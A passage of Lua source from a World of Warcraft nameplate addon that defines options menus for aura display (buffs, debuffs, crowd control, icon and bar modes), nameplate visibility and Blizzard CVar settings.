get = function(info) return db.AuraWidget.Debuffs.FilterByType[3] end,
set = function(info, val)
local db = db.AuraWidget.Debuffs
db.ShowAllFriendly = not (val or db.ShowBlizzardForFriendly or db.ShowDispellable or db.ShowBoss or
db.FilterByType[1] or db.FilterByType[2] or db.FilterByType[4])
db.FilterByType[3] = val
Addon.Widgets:UpdateSettings("Auras")
end,
disabled = function() return not db.AuraWidget.Debuffs.ShowFriendly end,
},
Poisons = {
name = L["Poison"],
order = 90,
type = "toggle",
get = function(info) return db.AuraWidget.Debuffs.FilterByType[4] end,
set = function(info, val)
local db = db.AuraWidget.Debuffs
db.ShowAllFriendly = not (val or db.ShowBlizzardForFriendly or db.ShowDispellable or db.ShowBoss or
db.FilterByType[1] or db.FilterByType[2] or db.FilterByType[3])
db.FilterByType[4] = val
Addon.Widgets:UpdateSettings("Auras")
end,
disabled = function() return not db.AuraWidget.Debuffs.ShowFriendly end,
},
},
},
EnemyUnits = {
name = L["Enemy Units"],
type = "group",
order = 16,
inline = true,
args = {
ShowEnemy = {
name = L["Show Debuffs"],
order = 10,
type = "toggle",
arg = { "AuraWidget", "Debuffs", "ShowEnemy" }
},
ShowAll = {
name = L["All"],
order = 20,
type = "toggle",
desc = L["Show all debuffs on enemy units."],
set = function(info, val)
local db = db.AuraWidget.Debuffs
if db.ShowOnlyMine or db.ShowBlizzardForEnemy then
db.ShowOnlyMine = false
db.ShowBlizzardForEnemy = false
SetValueWidget(info, val)
end
end,
arg = { "AuraWidget", "Debuffs", "ShowAllEnemy" },
disabled = function() return not db.AuraWidget.Debuffs.ShowEnemy end,
},
OnlyMine = {
name = L["Mine"],
order = 30,
type = "toggle",
desc = L["Show debuffs that were applied by you."],
set = function(info, val)
local db = db.AuraWidget.Debuffs
db.ShowAllEnemy = not (val or db.ShowBlizzardForEnemy)
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "Debuffs", "ShowOnlyMine" },
disabled = function() return not db.AuraWidget.Debuffs.ShowEnemy end,
},
Blizzard = {
name = L["Blizzard"],
order = 40,
type = "toggle",
desc = L["Show debuffs that are shown on Blizzard's default nameplates."],
set = function(info, val)
local db = db.AuraWidget.Debuffs
db.ShowAllEnemy = not (val or db.ShowOnlyMine)
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "Debuffs", "ShowBlizzardForEnemy" },
disabled = function() return not db.AuraWidget.Debuffs.ShowEnemy end,
},
},
},
SpellFilter = {
name = L["Filter by Spell"],
order = 50,
type = "group",
inline = true,
args = {
Mode = {
name = L["Mode"],
type = "select",
order = 1,
width = "double",
values = Addon.AurasFilterMode,
set = function(info, val)
db.AuraWidget.Debuffs.FilterMode = val
Addon.Widgets:UpdateSettings("Auras")
end,
arg = { "AuraWidget", "Debuffs", "FilterMode" },
},
DebuffList = {
name = L["Filtered Auras"],
type = "input",
order = 2,
dialogControl = "MultiLineEditBox",
width = "full",
get = function(info) return t.TTS(db.AuraWidget.Debuffs.FilterBySpell) end,
set = function(info, v)
local table = { strsplit("\n", v) };
db.AuraWidget.Debuffs.FilterBySpell = table
Addon.Widgets:UpdateSettings("Auras")
end,
},
},
},
},
},
Buffs = {
name = L["Buffs"],
type = "group",
order = 30,
inline = false,
args = {
FriendlyUnits = {
name = L["Friendly Units"],
type = "group",
order = 10,
inline = true,
args = {
Show = {
name = L["Show Buffs"],
order = 10,
type = "toggle",
arg = { "AuraWidget", "Buffs", "ShowFriendly" },
},
ShowAll = {
name = L["All"],
order = 20,
type = "toggle",
desc = L["Show all buffs on friendly units."],
arg = { "AuraWidget", "Buffs", "ShowAllFriendly" },
set = function(info, val)
local db = db.AuraWidget.Buffs
if db.ShowOnFriendlyNPCs or db.ShowOnlyMine or db.ShowPlayerCanApply then
db.ShowOnFriendlyNPCs = false
db.ShowOnlyMine = false
db.ShowPlayerCanApply = false
SetValueWidget(info, val)
end
end,
disabled = function() return not db.AuraWidget.Buffs.ShowFriendly end
},
NPCs = {
name = L["All on NPCs"],
order = 30,
type = "toggle",
desc = L["Show all buffs on NPCs."],
set = function(info, val)
local db = db.AuraWidget.Buffs
db.ShowAllFriendly = not (val or db.ShowOnlyMine or db.ShowPlayerCanApply)
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "Buffs", "ShowOnFriendlyNPCs" },
disabled = function() return not db.AuraWidget.Buffs.ShowFriendly end
},
OnlyMine = {
name = L["Mine"],
order = 40,
type = "toggle",
desc = L["Show buffs that were applied by you."],
set = function(info, val)
local db = db.AuraWidget.Buffs
db.ShowAllFriendly = not (db.ShowOnFriendlyNPCs or val or db.ShowPlayerCanApply)
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "Buffs", "ShowOnlyMine" },
disabled = function() return not db.AuraWidget.Buffs.ShowFriendly end
},
CanApply = {
name = L["Can Apply"],
order = 50,
type = "toggle",
desc = L["Show buffs that you can apply."],
set = function(info, val)
local db = db.AuraWidget.Buffs
db.ShowAllFriendly = not (db.ShowOnFriendlyNPCs or db.ShowOnlyMine or val)
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "Buffs", "ShowPlayerCanApply" },
disabled = function() return not db.AuraWidget.Buffs.ShowFriendly end
},
},
},
EnemyUnits = {
name = L["Enemy Units"],
type = "group",
order = 20,
inline = true,
args = {
ShowEnemy = {
name = L["Show Buffs"],
order = 10,
type = "toggle",
arg = { "AuraWidget", "Buffs", "ShowEnemy" }
},
ShowAll = {
name = L["All"],
order = 20,
type = "toggle",
desc = L["Show all buffs on enemy units."],
set = function(info, val)
local db = db.AuraWidget.Buffs
if val and not db.ShowAllEnemy then
db.ShowOnEnemyNPCs = false
db.ShowDispellable = false
db.ShowMagic = false
SetValueWidget(info, val)
end
end,
arg = { "AuraWidget", "Buffs", "ShowAllEnemy" },
disabled = function() return not db.AuraWidget.Buffs.ShowEnemy end
},
NPCs = {
name = L["All on NPCs"],
order = 30,
type = "toggle",
desc = L["Show all buffs on NPCs."],
set = function(info, val)
local db = db.AuraWidget.Buffs
db.ShowAllEnemy = not (val or db.ShowDispellable or db.ShowMagic)
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "Buffs", "ShowOnEnemyNPCs" },
disabled = function() return not db.AuraWidget.Buffs.ShowEnemy end
},
Dispellable = {
name = L["Dispellable"],
order = 50,
type = "toggle",
desc = L["Show buffs that you can dispell."],
set = function(info, val)
local db = db.AuraWidget.Buffs
db.ShowAllEnemy = not (db.ShowOnEnemyNPCs or val or db.ShowMagic)
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "Buffs", "ShowDispellable" },
disabled = function() return not db.AuraWidget.Buffs.ShowEnemy end
},
Magics = {
name = L["Magic"],
order = 60,
type = "toggle",
desc = L["Show buffs of dispell type Magic."],
set = function(info, val)
local db = db.AuraWidget.Buffs
db.ShowAllEnemy = not (db.ShowOnEnemyNPCs or db.ShowDispellable or val)
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "Buffs", "ShowMagic" },
disabled = function() return not db.AuraWidget.Buffs.ShowEnemy end
},
Header2 = { type = "header", order = 200, name = L["Unlimited Duration"], },
UnlimitedDuration = {
name = L["Disable"],
order = 210,
type = "toggle",
desc = L["Do not show buffs with umlimited duration."],
arg = { "AuraWidget", "Buffs", "HideUnlimitedDuration" },
disabled = function() return not db.AuraWidget.Buffs.ShowEnemy end
},
Spacer1 = GetSpacerEntry(220),
Always = {
name = L["Show Always"],
order = 230,
type = "toggle",
desc = L["Show buffs with unlimited duration in all situations (e.g., in and out of combat)."],
set = function(info, val)
local db = db.AuraWidget.Buffs
if val and not db.ShowUnlimitedAlways then
db.ShowUnlimitedInCombat = false
db.ShowUnlimitedInInstances = false
db.ShowUnlimitedOnBosses = false
SetValueWidget(info, val)
end
end,
arg = { "AuraWidget", "Buffs", "ShowUnlimitedAlways" },
disabled = function() return not db.AuraWidget.Buffs.ShowEnemy end
},
InCombat = {
name = L["In Combat"],
order = 240,
type = "toggle",
desc = L["Show unlimited buffs in combat."],
set = function(info, val)
local db = db.AuraWidget.Buffs
db.ShowUnlimitedAlways = not (val or db.ShowUnlimitedInInstances or db.ShowUnlimitedOnBosses)
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "Buffs", "ShowUnlimitedInCombat" },
disabled = function() return not db.AuraWidget.Buffs.ShowEnemy end
},
InInstances = {
name = L["In Instances"],
order = 250,
type = "toggle",
desc = L["Show unlimited buffs in instances (e.g., dungeons or raids)."],
set = function(info, val)
local db = db.AuraWidget.Buffs
db.ShowUnlimitedAlways = not (db.ShowUnlimitedInCombat or val or db.ShowUnlimitedOnBosses)
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "Buffs", "ShowUnlimitedInInstances" },
disabled = function() return not db.AuraWidget.Buffs.ShowEnemy end
},
OnBosses = {
name = L["On Bosses & Rares"],
order = 260,
type = "toggle",
desc = L["Show unlimited buffs on bosses and rares."],
set = function(info, val)
local db = db.AuraWidget.Buffs
db.ShowUnlimitedAlways = not (db.ShowUnlimitedInCombat or db.ShowUnlimitedInInstances or val)
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "Buffs", "ShowUnlimitedOnBosses" },
disabled = function() return not db.AuraWidget.Buffs.ShowEnemy end
},
},
},
SpellFilter = {
name = L["Filter by Spell"],
order = 50,
type = "group",
inline = true,
args = {
Mode = {
name = L["Mode"],
type = "select",
order = 1,
width = "double",
values = Addon.AurasFilterMode,
set = function(info, val)
db.AuraWidget.Buffs.FilterMode = val
Addon.Widgets:UpdateSettings("Auras")
end,
arg = { "AuraWidget", "Buffs", "FilterMode" },
},
DebuffList = {
name = L["Filtered Auras"],
type = "input",
order = 2,
dialogControl = "MultiLineEditBox",
width = "full",
get = function(info) return t.TTS(db.AuraWidget.Buffs.FilterBySpell) end,
set = function(info, v)
local table = { strsplit("\n", v) };
db.AuraWidget.Buffs.FilterBySpell = table
Addon.Widgets:UpdateSettings("Auras")
end,
},
},
},
},
},
CrowdControl = {
name = L["Crowd Control"],
type = "group",
order = 40,
inline = false,
args = {
FriendlyUnits = {
name = L["Friendly Units"],
type = "group",
order = 10,
inline = true,
args = {
Show = {
name = L["Show Crowd Control"],
order = 10,
type = "toggle",
arg = { "AuraWidget", "CrowdControl", "ShowFriendly" },
},
ShowAll = {
name = L["All"],
order = 20,
type = "toggle",
desc = L["Show all crowd control auras on friendly units."],
set = function(info, val)
local db = db.AuraWidget.CrowdControl
if db.ShowBlizzardForFriendly or db.ShowDispellable or db.ShowBoss then
db.ShowBlizzardForFriendly = false
db.ShowDispellable = false
db.ShowBoss = false
SetValueWidget(info, val)
end
end,
arg = { "AuraWidget", "CrowdControl", "ShowAllFriendly" },
disabled = function() return not db.AuraWidget.CrowdControl.ShowFriendly end
},
Blizzard = {
name = L["Blizzard"],
order = 30,
type = "toggle",
desc = L["Show crowd control auras that are shown on Blizzard's default nameplates."],
set = function(info, val)
local db = db.AuraWidget.CrowdControl
db.ShowAllFriendly = not (val or db.ShowDispellable or db.ShowBoss)
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "CrowdControl", "ShowBlizzardForFriendly" },
disabled = function() return not db.AuraWidget.CrowdControl.ShowFriendly end,
},
Dispellable = {
name = L["Dispellable"],
order = 40,
type = "toggle",
desc = L["Show crowd control auras that you can dispell."],
set = function(info, val)
local db = db.AuraWidget.CrowdControl
db.ShowAllFriendly = not (val or db.ShowBlizzardForFriendly or db.ShowBoss)
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "CrowdControl", "ShowDispellable" },
disabled = function() return not db.AuraWidget.CrowdControl.ShowFriendly end
},
Boss = {
name = L["Boss"],
order = 50,
type = "toggle",
desc = L["Show crowd control auras that where applied by bosses."],
set = function(info, val)
local db = db.AuraWidget.CrowdControl
db.ShowAllFriendly = not (val or db.ShowBlizzardForFriendly or db.ShowDispellable)
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "CrowdControl", "ShowBoss" },
disabled = function() return not db.AuraWidget.CrowdControl.ShowFriendly end
},
},
},
EnemyUnits = {
name = L["Enemy Units"],
type = "group",
order = 20,
inline = true,
args = {
ShowEnemy = {
name = L["Show Crowd Control"],
order = 10,
type = "toggle",
arg = { "AuraWidget", "CrowdControl", "ShowEnemy" }
},
ShowAll = {
name = L["All"],
order = 20,
type = "toggle",
desc = L["Show all crowd control auras on enemy units."],
set = function(info, val)
local db = db.AuraWidget.CrowdControl
if db.ShowBlizzardForEnemy then
db.ShowBlizzardForEnemy = false
SetValueWidget(info, val)
end
end,
arg = { "AuraWidget", "CrowdControl", "ShowAllEnemy" },
disabled = function() return not db.AuraWidget.CrowdControl.ShowEnemy end
},
Blizzard = {
name = L["Blizzard"],
order = 30,
type = "toggle",
desc = L["Show crowd control auras hat are shown on Blizzard's default nameplates."],
set = function(info, val)
local db = db.AuraWidget.CrowdControl
db.ShowAllEnemy = not (val)
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "CrowdControl", "ShowBlizzardForEnemy" },
disabled = function() return not db.AuraWidget.CrowdControl.ShowEnemy end,
},
},
},
SpellFilter = {
name = L["Filter by Spell"],
order = 50,
type = "group",
inline = true,
args = {
Mode = {
name = L["Mode"],
type = "select",
order = 1,
width = "double",
values = Addon.AurasFilterMode,
set = function(info, val)
db.AuraWidget.CrowdControl.FilterMode = val
Addon.Widgets:UpdateSettings("Auras")
end,
arg = { "AuraWidget", "CrowdControl", "FilterMode" },
},
DebuffList = {
name = L["Filtered Auras"],
type = "input",
order = 2,
dialogControl = "MultiLineEditBox",
width = "full",
get = function(info) return t.TTS(db.AuraWidget.CrowdControl.FilterBySpell) end,
set = function(info, v)
local table = { strsplit("\n", v) };
db.AuraWidget.CrowdControl.FilterBySpell = table
Addon.Widgets:UpdateSettings("Auras")
end,
},
},
},
},
},
ModeIcon = {
name = L["Icon Mode"],
order = 50,
type = "group",
inline = false,
args = {
--Help = { type = "description", order = 0, width = "full", name = L["Show auras as icons in a grid configuration."], },
Enable = {
type = "toggle",
order = 10,
--name = L["Enable"],
name = L["Show auras as icons in a grid configuration."],
width = "full",
arg = { "AuraWidget", "ModeBar", "Enabled" },
set = function(info, val) SetValueWidget(info, false) end,
get = function(info) return not GetValue(info) end,
},
Appearance = {
name = L["Appearance"],
order = 30,
type = "group",
inline = true,
args = {
Style = {
name = L["Icon Style"],
order = 10,
type = "select",
desc = L["This lets you select the layout style of the auras widget."],
descStyle = "inline",
values = { wide = L["Wide"], square = L["Square"] , custom = L["Custom"] },
set = function(info, val)
if val ~= "custom" then
Addon.MergeIntoTable(db.AuraWidget.ModeIcon, AURA_STYLE[val])
end
SetValueWidget(info, val)
end,
arg = { "AuraWidget", "ModeIcon", "Style" },
},
Width = GetSizeEntry(L["Icon Width"], 20, { "AuraWidget", "ModeIcon", "IconWidth" }, function() return db.AuraWidget.ModeIcon.Style ~= "custom" end),
Height = GetSizeEntry(L["Icon Height"], 30, { "AuraWidget", "ModeIcon", "IconHeight" }, function() return db.AuraWidget.ModeIcon.Style ~= "custom" end),
Spacer1 = GetSpacerEntry(40),
ShowBorder = {
type = "toggle",
order = 50,
name = L["Border"],
disabled = function() return db.AuraWidget.ModeIcon.Style ~= "custom" end,
arg = { "AuraWidget", "ModeIcon", "ShowBorder" },
},
},
},
Layout = {
name = L["Layout"],
order = 30,
type = "group",
inline = true,
args = {
Columns = { name = L["Column Limit"], order = 20, type = "range", min = 1, max = 8, step = 1, arg = { "AuraWidget", "ModeIcon", "Columns" }, },
Rows = { name = L["Row Limit"], order = 30, type = "range", min = 1, max = 10, step = 1, arg = { "AuraWidget", "ModeIcon", "Rows" }, },
ColumnSpacing = { name = L["Horizontal Spacing"], order = 40, type = "range", min = 0, max = 100, step = 1, arg = { "AuraWidget", "ModeIcon", "ColumnSpacing" }, },
RowSpacing = { name = L["Vertical Spacing"], order = 50, type = "range", min = 0, max = 100, step = 1, arg = { "AuraWidget", "ModeIcon", "RowSpacing" }, },
},
},
Duration = {
name = L["Duration"],
order = 40,
type = "group",
inline = true,
disabled = function() return db.AuraWidget.ModeIcon.Style ~= "custom" end,
args = {
Font = GetFontEntryDefault(L["Font"], 10, { "AuraWidget", "ModeIcon", "Duration" }),
Placement = {
type = "group",
order = 20,
name = L["Placement"],
inline = true,
args = {
Anchor = {
type = "select",
order = 10,
name = L["Position"],
values = Addon.ANCHOR_POINT,
arg = { "AuraWidget", "ModeIcon", "Duration", "Anchor" }
},
InsideAnchor = {
type = "toggle",
order = 15,
name = L["Inside"],
width = "half",
arg = { "AuraWidget", "ModeIcon", "Duration", "InsideAnchor" }
},
X = {
type = "range",
order = 20,
name = L["Horizontal Offset"],
max = 120,
min = -120,
step = 1,
isPercent = false,
arg = { "AuraWidget", "ModeIcon", "Duration", "HorizontalOffset" },
},
Y = {
type = "range",
order = 30,
name = L["Vertical Offset"],
max = 120,
min = -120,
step = 1,
isPercent = false,
arg = { "AuraWidget", "ModeIcon", "Duration", "VerticalOffset" },
},
AlignX = {
type = "select",
order = 40,
name = L["Horizontal Align"],
values = t.AlignH,
arg = { "AuraWidget", "ModeIcon", "Duration", "Font", "HorizontalAlignment" },
},
AlignY = {
type = "select",
order = 50,
name = L["Vertical Align"],
values = t.AlignV,
arg = { "AuraWidget", "ModeIcon", "Duration", "Font", "VerticalAlignment" },
},
},
},
},
},
StackCount = {
name = L["Stack Count"],
order = 50,
type = "group",
inline = true,
disabled = function() return db.AuraWidget.ModeIcon.Style ~= "custom" end,
args = {
Font = GetFontEntryDefault(L["Font"], 10, { "AuraWidget", "ModeIcon", "StackCount" }),
Placement = {
type = "group",
order = 20,
name = L["Placement"],
inline = true,
args = {
Anchor = {
type = "select",
order = 10,
name = L["Anchor Point"],
values = Addon.ANCHOR_POINT,
arg = { "AuraWidget", "ModeIcon", "StackCount", "Anchor" }
},
InsideAnchor = {
type = "toggle",
order = 15,
name = L["Inside"],
width = "half",
arg = { "AuraWidget", "ModeIcon", "StackCount", "InsideAnchor" }
},
X = {
type = "range",
order = 20,
name = L["Horizontal Offset"],
max = 120,
min = -120,
step = 1,
isPercent = false,
arg = { "AuraWidget", "ModeIcon", "StackCount", "HorizontalOffset" },
},
Y = {
type = "range",
order = 30,
name = L["Vertical Offset"],
max = 120,
min = -120,
step = 1,
isPercent = false,
arg = { "AuraWidget", "ModeIcon", "StackCount", "VerticalOffset" },
},
AlignX = {
type = "select",
order = 40,
name = L["Horizontal Align"],
values = t.AlignH,
arg = { "AuraWidget", "ModeIcon", "StackCount", "Font", "HorizontalAlignment" },
},
AlignY = {
type = "select",
order = 50,
name = L["Vertical Align"],
values = t.AlignV,
arg = { "AuraWidget", "ModeIcon", "StackCount", "Font", "VerticalAlignment" },
},
},
},
},
},
},
},
ModeBar = {
name = L["Bar Mode"],
order = 60,
type = "group",
inline = false,
args = {
--Help = { type = "description", order = 0, width = "full", name = L["Show auras as bars (with optional icons)."], },
Enable = {
type = "toggle",
order = 10,
--name = L["Enable"],
name = L["Show auras as bars (with optional icons)."],
width = "full",
set = function(info, val) SetValueWidget(info, true) end,
get = function(info) return GetValue(info) end,
arg = { "AuraWidget", "ModeBar", "Enabled" }
},
Appearance = {
name = L["Appearance"],
order = 30,
type = "group",
inline = true,
args = {
TextureConfig = {
name = L["Textures"],
order = 10,
type = "group",
inline = true,
args = {
BarTexture = { name = L["Foreground Texture"], order = 60, type = "select", dialogControl = "LSM30_Statusbar", values = AceGUIWidgetLSMlists.statusbar, arg = { "AuraWidget", "ModeBar", "Texture" }, },
--Spacer2 = GetSpacerEntry(75),
BackgroundTexture = { name = L["Background Texture"], order = 80, type = "select", dialogControl = "LSM30_Statusbar", values = AceGUIWidgetLSMlists.statusbar, arg = { "AuraWidget", "ModeBar", "BackgroundTexture" }, },
BackgroundColor = { name = L["Background Color"], type = "color", order = 90, arg = {"AuraWidget","ModeBar", "BackgroundColor"}, hasAlpha = true,
get = GetColorAlpha, set = SetColorAlphaWidget,
},
},
},
FontConfig = {
name = L["Font"],
order = 20,
type = "group",
inline = true,
args = {
Font = { name = L["Typeface"], type = "select", order = 10, dialogControl = "LSM30_Font", values = AceGUIWidgetLSMlists.font, arg = { "AuraWidget", "ModeBar", "Font" }, },
FontSize = { name = L["Size"], order = 20, type = "range", min = 1, max = 36, step = 1, arg = { "AuraWidget", "ModeBar", "FontSize" }, },
FontColor = { name = L["Color"], type = "color", order = 30, get = GetColor, set = SetColorWidget, arg = {"AuraWidget","ModeBar", "FontColor"}, hasAlpha = false, },
Spacer1 = GetSpacerEntry(35),
IndentLabel = { name = L["Label Text Offset"], order = 40, type = "range", min = -16, max = 16, step = 1, arg = { "AuraWidget", "ModeBar", "LabelTextIndent" }, },
IndentTime = { name = L["Time Text Offset"], order = 50, type = "range", min = -16, max = 16, step = 1, arg = { "AuraWidget", "ModeBar", "TimeTextIndent" }, },
},
},
},
},
Layout = {
name = L["Layout"],
order = 60,
type = "group",
inline = true,
args = {
MaxBars = { name = L["Bar Limit"], order = 20, type = "range", min = 1, max = 20, step = 1, arg = { "AuraWidget", "ModeBar", "MaxBars" }, },
BarWidth = { name = L["Bar Width"], order = 30, type = "range", min = 1, max = 500, step = 1, arg = { "AuraWidget", "ModeBar", "BarWidth" }, },
BarHeight = { name = L["Bar Height"], order = 40, type = "range", min = 1, max = 500, step = 1, arg = { "AuraWidget", "ModeBar", "BarHeight" }, },
BarSpacing = { name = L["Vertical Spacing"], order = 50, type = "range", min = 0, max = 100, step = 1, arg = { "AuraWidget", "ModeBar", "BarSpacing" }, },
},
},
IconConfig = {
name = L["Icon"],
order = 50,
type = "group",
inline = true,
args = {
EnableIcon = { name = L["Enable"], order = 10, type = "toggle", arg = { "AuraWidget", "ModeBar", "ShowIcon" }, },
IconAlign = { name = L["Show Icon to the Left"], order = 20, type = "toggle", arg = { "AuraWidget", "ModeBar", "IconAlignmentLeft" }, },
IconOffset = { name = L["Offset"], order = 30, type = "range", min = -100, max = 100, step = 1, arg = { "AuraWidget", "ModeBar", "IconSpacing", }, },
},
},
},
},
},
}
return options
end
local function CreateHeadlineViewShowEntry()
local args = {}
local pos = 0
for i, value in ipairs(UNIT_TYPES) do
local faction = value.Faction
args[faction .. "Units"] = {
name = L[faction .. " Units"],
order = pos,
type = "group",
inline = true,
disabled = function() return not GetCVarBool("nameplateShowAll") end,
args = {},
}
for i, unit_type in ipairs(value.UnitTypes) do
args[faction .. "Units"].args["UnitType" .. faction .. unit_type] = {
name = L[unit_type.."s"],
order = pos + i,
type = "toggle",
arg = { "Visibility", faction..unit_type, "UseHeadlineView" }
}
end
pos = pos + 10
end
return args
end
local function CreateUnitGroupsVisibility(args, pos)
for i, value in ipairs(UNIT_TYPES) do
local faction = value.Faction
args[faction.."Units"] = {
name = L["Show "..faction.." Units"],
order = pos,
type = "group",
inline = true,
args = {},
}
for i, unit_type in ipairs(value.UnitTypes) do
args[faction.."Units"].args["UnitType"..faction..unit_type] = {
name = L[unit_type.."s"],
order = pos + i,
type = "toggle",
arg = faction..unit_type,
get = GetUnitVisibilitySetting,
set = SetUnitVisibilitySetting,
}
end
pos = pos + 10
end
end
local function CreateVisibilitySettings()
local args = {
name = L["Visibility"],
type = "group",
order = 10,
args = {
GeneralUnits = {
name = L["General Nameplate Settings"],
order = 10,
type = "group",
inline = true,
width = "full",
get = GetCVarBoolTPTP,
set = SetCVarBoolTPTP,
args = {
Description = GetDescriptionEntry(L["These options allow you to control which nameplates are visible within the game field while you play."]),
Spacer0 = GetSpacerEntry(1),
AllPlates = {
name = L["Always Show Nameplates"],
desc = L["Show nameplates at all times."],
type = "toggle",
order = 10,
width = "full",
arg = "nameplateShowAll"
},
AllUnits = {
name = L["Show All Nameplates (Friendly and Enemy Units) (CTRL-V)"],
order = 20,
type = "toggle",
width = "full",
set = function(info, value)
Addon.CVars:OverwriteProtected("nameplateShowFriends", (value and 1) or 0)
Addon.CVars:OverwriteProtected("nameplateShowEnemies", (value and 1) or 0)
end,
get = function(info)
return GetCVarBool("nameplateShowFriends") and GetCVarBool("nameplateShowEnemies")
end,
},
AllFriendly = {
name = L["Show Friendly Nameplates (SHIFT-V)"],
type = "toggle",
order = 30,
width = "full",
arg = "nameplateShowFriends"
},
AllHostile = {
name = L["Show Enemy Nameplates (ALT-V)"],
order = 40,
type = "toggle",
width = "full",
arg = "nameplateShowEnemies"
},
Header = { type = "header", order = 45, name = "", },
ShowBlizzardFriendlyNameplates = {
name = L["Show Blizzard Nameplates for Friendly Units"],
order = 50,
type = "toggle",
width = "full",
set = function(info, val)
info = t.CopyTable(info)
Addon:CallbackWhenOoC(function()
SetValue(info, val)
Addon:SetBaseNamePlateSize() -- adjust clickable area if switching from Blizzard plates to Threat Plate plates
for plate, unitid in pairs(Addon.PlatesVisible) do
Addon:UpdateNameplateStyle(plate, unitid)
end
end, L["Unable to change a setting while in combat."])
end,
get = GetValue,
desc = L["Use Blizzard default nameplates for friendly nameplates and disable ThreatPlates for these units."],
arg = { "ShowFriendlyBlizzardNameplates" },
},
ShowBlizzardEnemyNameplates = {
name = L["Show Blizzard Nameplates for Neutral and Enemy Units"],
order = 60,
type = "toggle",
width = "full",
set = function(info, val)
info = t.CopyTable(info)
Addon:CallbackWhenOoC(function()
SetValue(info, val)
Addon:SetBaseNamePlateSize() -- adjust clickable area if switching from Blizzard plates to Threat Plate plates
for plate, unitid in pairs(Addon.PlatesVisible) do
Addon:UpdateNameplateStyle(plate, unitid)
end
end, L["Unable to change a setting while in combat."])
end,
get = GetValue,
desc = L["Use Blizzard default nameplates for neutral and enemy nameplates and disable ThreatPlates for these units."],
arg = { "ShowEnemyBlizzardNameplates" },
},
},
},
SpecialUnits = {
name = L["Hide Nameplates"],
type = "group",
order = 50,
inline = true,
width = "full",
args = {
HideNormal = { name = L["Normal Units"], order = 1, type = "toggle", arg = { "Visibility", "HideNormal" }, },
HideElite = { name = L["Rares & Elites"], order = 2, type = "toggle", arg = { "Visibility", "HideElite" }, },
HideBoss = { name = L["Bosses"], order = 3, type = "toggle", arg = { "Visibility", "HideBoss" }, },
HideTapped = { name = L["Tapped Units"], order = 4, type = "toggle", arg = { "Visibility", "HideTapped" }, },
ModeHideFriendlyInCombat = {
name = L["Friendly Units in Combat"],
order = 10,
type = "toggle",
width = "double",
arg = { "Visibility", "HideFriendlyInCombat" }
},
},
},
Clickthrough = {
name = L["Nameplate Clickthrough"],
type = "group",
order = 70,
inline = true,
width = "full",
args = {
ClickthroughFriendly = {
name = L["Friendly Units"],
order = 1,
type = "toggle",
width = "double",
desc = L["Enable nameplate clickthrough for friendly units."],
set = function(info, val) t.SetNamePlateClickThrough(val, db.NamePlateEnemyClickThrough) end,
-- return in-game value for clickthrough as config values may be wrong because of in-combat restrictions when changing them
get = function(info) return C_NamePlate.GetNamePlateFriendlyClickThrough() end,
arg = { "NamePlateFriendlyClickThrough" },
},
ClickthroughEnemy = {
name = L["Enemy Units"],
order = 2,
type = "toggle",
width = "double",
desc = L["Enable nameplate clickthrough for enemy units."],
set = function(info, val) t.SetNamePlateClickThrough(db.NamePlateFriendlyClickThrough, val) end,
-- return in-game value for clickthrough as config values may be wrong because of in-combat restrictions when changing them
get = function(info) return C_NamePlate.GetNamePlateEnemyClickThrough() end,
arg = { "NamePlateEnemyClickThrough" },
},
},
},
},
}
CreateUnitGroupsVisibility(args.args, 20)
return args
end
local function CreateBlizzardSettings()
-- nameplateGlobalScale
-- rmove /tptp command for stacking, not-stacking nameplates
-- don'T allow to change all cvar related values in Combat, either by using the correct CVarTPTP function
-- or by disabling the options in this case
local entry = {
name = L["Blizzard Settings"],
order = 140,
type = "group",
set = SetCVarTPTP,
get = GetCVarTPTP,
-- diable while in Combat - überprüfen
args = {
Note = {
name = L["Note"],
order = 1,
type = "group",
inline = true,
args = {
Header = {
name = L["Changing these options may interfere with other nameplate addons or Blizzard default nameplates as console variables (CVars) are changed."],
order = 1,
type = "description",
width = "full",
},
},
},
Resolution = {
name = L["UI Scale"],
order = 5,
type = "group",
inline = true,
args = {
UIScale = {
name = L["UI Scale"],
order = 10,
type = "range",
min = 0.64,
max = 1,
step = 0.01,
disabled = function() return db.Scale.IgnoreUIScale or db.Scale.PixelPerfectUI end,
arg = "uiScale",
},
IgnoreUIScale = {
name = L["Ignore UI Scale"],
order = 20,
type = "toggle",
set = function(info, val)
SetValuePlain(info, val)
db.Scale.PixelPerfectUI = not val and db.Scale.PixelPerfectUI
Addon:UIScaleChanged()
Addon:ForceUpdate()
end,
get = GetValue,
arg = { "Scale", "IgnoreUIScale" },
},
PixelPerfectUI = {
name = L["Pixel-Perfect UI"],
order = 30,
type = "toggle",
set = function(info, val)
SetValuePlain(info, val)
db.Scale.IgnoreUIScale = not val and db.Scale.IgnoreUIScale
Addon:UIScaleChanged()
Addon:ForceUpdate()
end,
get = GetValue,
arg = { "Scale", "PixelPerfectUI" },
},
},
},
Clickarea = {
name = L["Clickable Area"],
order = 10,
type = "group",
inline = true,
set = SetValue,
get = GetValue,
args = {
ToggleSync = {
name = L["Healthbar Sync"],
order = 1,
type = "toggle",
desc = L["The size of the clickable area is always derived from the current size of the healthbar."],
set = function(info, val)
if InCombatLockdown() then
t.Print("We're unable to change this while in combat", true)
else
SetValue(info, val)
Addon:SetBaseNamePlateSize()
end
end,
arg = { "settings", "frame", "SyncWithHealthbar"},
},
Width = {
name = L["Width"],
order = 2,
type = "range",
min = 1,
max = 500,
step = 1,
set = function(info, val)
if InCombatLockdown() then
t.Print("We're unable to change this while in combat", true)
else
SetValue(info, val)
Addon:SetBaseNamePlateSize()
end
end,
disabled = function() return db.settings.frame.SyncWithHealthbar end,
arg = { "settings", "frame", "width" },
},
Height = {
name = L["Height"],
order = 3,
type = "range",
min = 1,
max = 100,
step = 1,
set = function(info, val)
if InCombatLockdown() then
t.Print("We're unable to change this while in combat", true)
else
